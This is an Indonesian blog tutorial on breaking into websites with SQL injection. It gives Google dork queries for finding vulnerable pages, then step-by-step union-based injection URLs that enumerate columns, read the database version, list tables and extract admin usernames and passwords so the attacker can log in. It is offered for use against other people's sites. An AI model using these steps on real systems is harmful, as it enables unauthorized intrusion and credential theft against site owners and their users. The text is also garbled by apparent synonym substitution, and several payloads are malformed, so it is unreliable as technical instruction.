Cara Hack Website dengan SQL Injection - SQL Injection ialah salah satu aplikasi yang mampu dipakai untuk membobol atau hack suatu website.Proses hack website menggunakan SQL Injection akan berhasil bila Anda sukses memasukkan beberapa SLQ statement ke dalam query.
Karena dalam proses hack yang dikerjakan, Anda akan memanipulasi atau mengotak ati data input ke dalam SQL tersebut.
Sebenarnya ada banyak cara atau sistem yang bisa dipakai untuk hack website, namun kami mennggunakan SQL alasannya pengoperasiannya lebih gampang dibandingkan lainnya.
Pembahasan Cara Hack Website dengan SQL Injection
Lalu bagaimana cara hack pada website yang menggunakan SQL Injection tersebut? Untuk caranya terbilang gampang dan bisa Anda lakukan sendiri.Tetapi Anda harus ketahui juga, ada kemungkinan terburuk yang akan terjadi pada metode yang Anda gunakan bila menggunakan SQL.
Namun kemungkinan terburuk atau resiko tersebut mampu diminimalisir kalau proses hack dikerjakan dengan hati-hati dan membekali perangkat dengan sistem keselamatan yang tinggi.
Baca Juga : Cara Hack Login Website
Daripada penasaran, yuk eksklusif saja simak ulasan berikut ini tentang cara hack situs web dengan SQL Injection.
Cara Hack Website dengan SQL Injection
Cara Hack Website dengan SQL Injection Terbaru
 |
| Cara Hack Website dengan SQL Injection Terbaru |
Untuk lebih jelasnya, berikut ini cara hack situs web dengan SQL Injection:
- Untuk langkah pertama, silahkan pilih sasaran hack yang ingin di hack, seperti daftar di bawah ini:
- inurl:iniziativa.php?in=
- inurl:curriculum.php?id=
- inurl:labels.php?id=
- inurl:story.php?id=
- inurl:look.php?ID=
- inurl:newsone.php?id=
- inurl:aboutbook.php?id=inurl:material.php?id=
- inurl:opinions.php?id=
- inurl:announce.php?id=
- Sebagai contoh, Anda mampu menentukan sasaran hack mirip di bawah ini:
https://www.target.com/info.php?id=100
- Untuk melihat apakah ada pesan error, silahkan tambahkan aksara pada selesai URL atau bisa juga menyertakan tanda "-"
Contoh:https://www.target.com/berita.php?id=100'
Menjadi:https://www.sasaran.com/info.php?id=-100
- Secara otomatis, pesan error akan muncul mirip di bawah ini:
"You have an error in your SQL syntax. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near"at line 1".
- Selanjutnya cari dan hitunglah jumlah table yang ada dalam databasenya dan disini kita akan menggunakan perintah order by.
Contoh:
https://www.target.com/berita.php?id=100+order+by+1/*
- Tanda (*) adalah huruf epilog perintah SQL atau Anda juga mampu menggunkanan tanda (-) guys, tinggal pilih salah satu. Sedangkan tanda (+) yakni tanda penghubung perintah.
- Kemudian Anda mampu mencobanya satu persatu seperti di bawah ini:
- https://www.sasaran.com/isu.php?id=100+order+by+1/* (tidak ada error)
- https://www.target.com/informasi.php?id=100+order+by+2/* (tidak ada error)
- https://www.sasaran.com/gosip.php?id=100+order+by+3/* (letih)
- https://www.target.com?isu.php?id=100+order+by+4/* (jangan mengalah)
- Jika ada error yang timbul dan errornya ada mirip informasi di bawah ini:
https://www.target.com/berita.php?id=100+order+by+10/*
- Berarti Anda harus mengambil yang sembilan guys, seperti di bawah ini:
https://www.target.com/info.php?id=100+order+by+9/*
- Lalu untuk mengenali berapa angka yang show kini yang Anda gunakan UNION, contohnya mirip di bawah ini:
https://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9?*
- Silahkan perhatikan angka berapa saja yang keluar, kalau yang keluar angka 3, maka Anda harus memeriksa model berapa MySQL yang digunakan dengan perintah "version()" atau "@@version" ialah:
https://www.sasaran.com/news.php?id=union+select+1,2, version(),4,5,6,7,8,9/* atau https://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*
- Sedangkan kalau versinya 5, Anda bisa pribadi memakai perintah "information_schema" untuk melihat tabel serta kolom yang ada di database, contohnya:
https://www.sasaran.com/gosip.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.table
- Bila Anda ingin menyaksikan tabel-tabel yang lain, silahkan tambahkan limit URL, namun kadang-kadang tabelnya tidak akan tampakdengan cara tersebut. Oleh alasannya itu, Anda bisa menggunakan cara berikut adalah dengan cara mengubah kata 'table" nya saja.
https://www.sasaran.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums?*
- Jika kolom yang keluar yakni password dan username dari situs web, maka Anda bisa pribadi menyaksikan isinya, teladan:
https://www.sasaran.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/* dan https://www.sasaran.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*
Sekarang Anda mampu melihat username serta passwordnya dan bisa eksklusif dipakai untuk login ke websitenya guys.
Baca Juga : Cara Kerja Web Server
Akhir Kata
Demikian cara hack situs web menggunakan SQL Injection yang bisa dipelajari dan diterapkan.Jika melihat dan membaca langkah hack yang telah kami uraikan di atas memang tampakrumit, namun kalau dipraktikkan akan jauh lebih mudah.
Agar proses hack website dengan SQL Injection berlangsung lancar, silahkan pelajari dan lakukan setiap langkah dengan baik dan benar.
Itulah seluruh isi artikel kami kali ini perihal cara hack website dengan SQL Injection 2022. Semoga bermanfaat dan selamat mencoba.